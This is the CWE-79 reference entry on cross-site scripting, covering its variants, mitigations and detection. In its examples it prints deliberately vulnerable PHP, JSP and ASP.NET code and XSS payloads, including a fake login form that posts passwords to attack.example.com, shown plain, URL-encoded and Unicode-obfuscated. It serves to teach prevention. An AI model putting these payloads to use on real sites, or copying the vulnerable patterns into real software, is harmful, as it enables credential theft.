CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.20)

Weakness ID: 79

Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

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Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.

Alternate Terms

XSS	A common abbreviation for Cross-Site Scripting.
HTML Injection	Used as a synonym of stored (Type 2) XSS.
Reflected XSS / Non-Persistent XSS / Type 1 XSS	Used when a server application reads data directly from the HTTP request and reflects it back in the HTTP response.
Stored XSS / Persistent XSS / Type 2 XSS	Used when a server-side application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content.
DOM-Based XSS / Type 0 XSS	Used when a client-side application performs the injection of XSS into the page by manipulating the Domain Object Model (DOM).
CSS	In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Impact	Details
Bypass Protection Mechanism; Read Application Data	Scope: Access Control, Confidentiality The most common attack performed with cross-site scripting involves the disclosure of private information stored in user cookies, such as session information. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity on behalf of the victim to an attacker-controlled system (such as sending all site cookies to a given E-mail address). This could be especially dangerous to the site if the victim has administrator privileges to manage that site. This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Execute Unauthorized Code or Commands	Scope: Integrity, Confidentiality, Availability In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws, for example, "drive-by hacking."
Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data	Scope: Confidentiality, Integrity, Availability, Access Control The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Potential Mitigations

Phase(s)	Mitigation
Architecture and Design	Strategy: Libraries or Frameworks Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Implementation; Architecture and Design	Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
Architecture and Design; Implementation	Strategy: Attack Surface Reduction Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Effectiveness: Limited Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.
Architecture and Design	For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design	Strategy: Parameterization If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Implementation	Strategy: Output Encoding Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Implementation	With Struts, write all data from form beans with the bean's filter attribute set to true.
Implementation	Strategy: Attack Surface Reduction To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set. Effectiveness: Defense in Depth
Implementation	Strategy: Input Validation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Architecture and Design	Strategy: Enforcement by Conversion When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Operation	Strategy: Firewall Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481]. Effectiveness: Moderate Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
Operation; Implementation	Strategy: Environment Hardening When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view "Research Concepts" (View-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	81	Improper Neutralization of Script in an Error Message Web Page
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	83	Improper Neutralization of Script in Attributes in a Web Page
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	84	Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	85	Doubled Character XSS Manipulations
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	87	Improper Neutralization of Alternate XSS Syntax
PeerOf	Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.	352	Cross-Site Request Forgery (CSRF)
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	184	Incomplete List of Disallowed Inputs
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	494	Download of Code Without Integrity Check

Relevant to the view "Software Development" (View-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (View-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages	Class: Not Language-Specific (Undetermined Prevalence)
Technologies	AI/ML (Undetermined Prevalence) Class: Web Based (Often Prevalent) Web Server (Undetermined Prevalence)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

(bad code)

Example Language: PHP

$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)

http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)

<div class="header"> Welcome, <div id="stealPassword"> Please Login:

Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />

</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)

trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)

Example Language: JSP

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)

Example Language: ASP.NET

<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)

Example Language: JSP

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {

rs.next();
String name = rs.getString("name");

}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)

Example Language: ASP.NET

<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)

Example Language: PHP

$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)

Example Language: PHP

$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {

exit;

}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {

echo '<div class="userNames">'.$row['fullname'].'</div>';

}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)

Example Language: PHP

$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)

The raw contents of the message file would look like:

(result)

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Example 6

The following code attempts to stop XSS attacks by removing all occurences of "script" in an input string.

(bad code)

Example Language: Java

public String removeScriptTags(String input, String mask) {

return input.replaceAll("script", mask);

}

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference	Description
CVE-2024-49038	XSS in AI assistant
CVE-2024-54142	Plugin that enables AI features allows input with html entities, leading to XSS
CVE-2021-25926	Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS.
CVE-2021-25963	Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks.
CVE-2021-1879	Universal XSS in mobile operating system, as exploited in the wild per CISA KEV.
CVE-2020-3580	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
CVE-2014-8958	Admin GUI allows XSS through cookie.
CVE-2017-9764	Web stats program allows XSS through crafted HTTP header.
CVE-2014-5198	Web log analysis product allows XSS through crafted HTTP Referer header.
CVE-2008-5080	Chain: protection mechanism failure allows XSS
CVE-2006-4308	Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
CVE-2007-5727	Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL
CVE-2008-4730	Reflected XSS not properly handled when generating an error message
CVE-2008-5734	Reflected XSS sent through email message.
CVE-2008-0971	Stored XSS in a security product.
CVE-2008-5249	Stored XSS using a wiki page.
CVE-2006-3568	Stored XSS in a guestbook application.
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
CVE-2006-3295	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Detection Methods

Method

Details

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note:With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	801	2010 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1005	7PK - Input Validation and Representation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1435	Weaknesses in the 2025 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1440	OWASP Top Ten 2025 Category A05:2025 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1447	General Software Weaknesses that Appear in Products that Use or Support AI/ML Technology

Vulnerability Mapping Notes

Usage	ALLOWED (this CWE ID may be used to map to real-world vulnerabilities)
Reason	Acceptable-Use
Rationale	This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Comments	Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Other

The attack methods for XSS can vary depending on the type of XSS and the attacker's goal.

Reflected XSS exploits (Type 1) occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

